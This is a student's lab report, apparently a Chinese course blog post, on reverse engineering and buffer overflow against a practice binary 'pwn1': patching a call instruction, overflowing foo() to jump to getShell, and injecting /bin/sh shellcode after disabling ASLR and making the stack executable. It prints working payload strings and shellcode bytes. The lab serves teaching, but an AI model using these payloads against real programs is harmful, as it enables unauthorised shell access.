Exp1 PC平台逆向破解 20164303 景圣
逆向及Bof基础实验
实验对象
文件名为pwn1的linux可执行文件。
实验目标:程序正常执行流程weimain调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用窗口,正常情况下该代码是不会被运行的。通过操作使getShell成功运行。
实验内容
1.修改可执行文件中的程序,改变程序调用的函数,直接调用getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,使程序跳转到getShell函数。
3.注入一个自己制作的shellcode,将原程序覆盖并实现运行目标函数的运行。
实验原理
机器指令是CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令通常由操作码和操作数两部分组成,操作码指出该指令所要完成的操作,即指令的功能,操作数指出参与运算的对象,以及运算结果所存放的位置等。
NOP:空指令,意味着什么都不做的意思,一般用来控制CPU的时间周期,达到时钟延时的效果。
JE:条件转移指令,如果相等则跳转。
JNE:条件转移指令,如果不相等则跳转。
JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
objdump反汇编常用参数:
objdump -d <file(s)>: 将代码段反汇编
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section
objdump -t <file(s)>j:输出目标文件的符号表()
objdump -h <file(s)>:输出目标文件的所有段概括()
objdump -x <file(s)>:以某种分类信息的形式把目标文件的数据组成输出;<可查到该文件的的所有动态库>
十六进制编程器,xxd命令:
用vi命令打开一个文件,在vi命令模式下输入
:%!xxd //回车后,该文件会以十六进制形式显示
:%!xxd -r //参数-r是指将当前的十六进制转换为二进制
gdb常用命令:
(gdb)help:查看命令帮助,具体命令查询在gdb中输入help + 命令,简写h.
(gdb)run:重新开始运行文件(run-text:加载文本文件,run-bin:加载二进制文件),简写r.
(gdb)info:查看函数内部局部变量的数值,简写i.
(gdb)continue:继续运行,简写c.
(gdb)quit:退出gdb,简写q.
实验步骤
准备步骤:在虚拟机home文件夹中创建名字为学号的新文件夹,并将pwn1文件拷贝到该文件夹。在该文件夹中拷贝多个备用的pwn1文件。

一、修改程序机器指令,改变程序执行流程

输入命令objdump -d pwn1 | more,对文件pwn1进行反汇编。可以看到原程序中跳转语句的汇编语言为e8 d7 ff ff,可以跳转到地址为8048491处,而我们希望可以跳转到804847d处,通过计算可以得出修改后的语句为e8 c3 ff ff.

使用语句vi pwn1,打开pwn1文件,按住Esc键的同时按下Shift键和 :键
输入 :%!xxd 将文件转为16进制编码显示:
找到e8 d7,将其修改为e8 c3,具体方法为点击所要修改的字母,按下r键后再按下希望修改成的字母。


完成修改,输入:wq存盘退出。

再次进行反汇编,查看修改后的结果。
运行pwn1文件,实现实验目标。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

通过gdb命令,调试文件pwn1,通过info r命令查看当前寄存器状态,通过研究确定返回地址的位置,并由此编辑输入的字节。
通过实验指导书的方法试验发现字节输入顺序应该如下:
11111111222222223333333344444444\x7d\x84\x04\x08。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

然后可以使用16进制查看指令xxd查看input文件的内容是否如预期
然后将input的输入,通过管道符“|”,作为pwn1的输入。

输入指令(cat input; cat) | ./pwn1后,发现已获得shell。
实践三 注入Shellcode并执行
安装好execstack,输入apt-get install execstack即可安装。
对文件进行设置,使堆栈可以被修改。
execstack -s pwn2 //设置堆栈可执行
execstack -q pwn2 //查询文件的堆栈是否可执行
X
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00" ' > input_shellcode
输入指令(cat input_shellcode;cat) | ./pwn1
再开另外一个终端,用gdb来调试pwn1这个进程。通过指令ps -ef | grep pwn1来查看pwn1的进程号。
输入指令attach 3242调试这个进程。3242为pwn1的进程号。
使用指令disassemble foo设置断点,来查看注入buf的内存地址。
然后break *0x080484ae
使用指令c,继续运行。
在初始终端上输入111111112222222233333333444444441234

通过指令 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x70\xd3\xff\xff即可
对文件shellcod进行修改,再次进行操作,发现实验目标实现。

实验收获与感想
通过实验,我对老师上课讲的内容理解更深了,虽然对一些细节还不是很明白,但是明白了整个攻击的过程,实验过程中遇到了不少问题,看了很多同学的博客,也通过百度查了一些,总算完成了实验。虽然是看着之前同学的内容完成的,也耗费了不少时间,但完成之后还是很有成就感的。
什么是漏洞?漏洞有什么危害?
我认为漏洞是计算机中可以被黑客利用,实现对计算机进行某些修改或攻击的程序片段。
漏洞的出现给了黑客对他人计算机进行攻击来实现自己目标的机会,会使使用者蒙受损失。
Exp1 PC平台逆向破解 20164303 景圣的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
随机推荐
- 学习ActiveMQ(一):安装与启动
一:简单介绍 AvtiveMQ是Apaceh所研发的一个开源消息中间件,用来在服务与服务之间进行异步通信,是基于JMS规范的.activemq包含发送者(sender).消息(message).队列( ...
- 《Redis 使用规范》
一:Redis 概述 - Redis 是内存级别的数据库,在一台普通电脑上,Redis 3.X 便可以读取 10 万个键值对(现在的Redis官方版本已经更新到了5.X,性能会更好). 二:关于Red ...
- 严重:one or more listeners failed. Full details will be found in the appropriate container log file
one or more listeners failed. Full details will be found in the appropriate container log file 这句话 ...
- seafile ubuntu 安装相关
1,各种原因,需要安装 seafile,好,开始安装. 2,参考 https://github.com/haiwen/seafile-server-installer-cn 1,Ubuntu 16.0 ...
- c语言中对于移位运算符的用法
//1 << 0 是把1 按2进制 左移0位,结果还是 1 ,2进制 0000 0001 //1 << 1, 是把1 按2进制 左移1位,结果是2,2进制 0000 0010 ...
- Linux安装常见问题
目录 1. SSL connect error 2. ERROR: certificate error 1. SSL connect error # fatal: unable to access ' ...
- DDD领域驱动
DDD领域驱动领域驱动模型.模型驱动代码接触到需求第一步就是考虑领域模型,而不是将其切割成数据和行为,然后数据用数据库实现,行为使用服务实现,最后造成需求的首肢分离.DDD让你首先考虑的是业务语言而不 ...
- JavaIO流——简单对文件的写入及读取(一)
IO,即Input(输入)和Output(输出)的首字母缩写. 在编程语言的I/O类库中常使用流这个抽象概念.它代表任何有能力产出数据的数据源对象或者是与能力接收数据的接收端对象.“流”屏蔽了实际的I ...
- lumen----------lumen如何安装和使用redis第三方包扩展
1. 安装扩展 要使用redis必须安装两个扩展 "predis/predis": "~1.0", "illuminate/redis" ...
- PHP yii框架FormWidget组件
本篇文章介绍的是PHP yii框架Form组件,方便在view层更好调用此功能,话不多说上代码:1.先继承yii本身Widget类 <?php/** * User: lsh */ namespa ...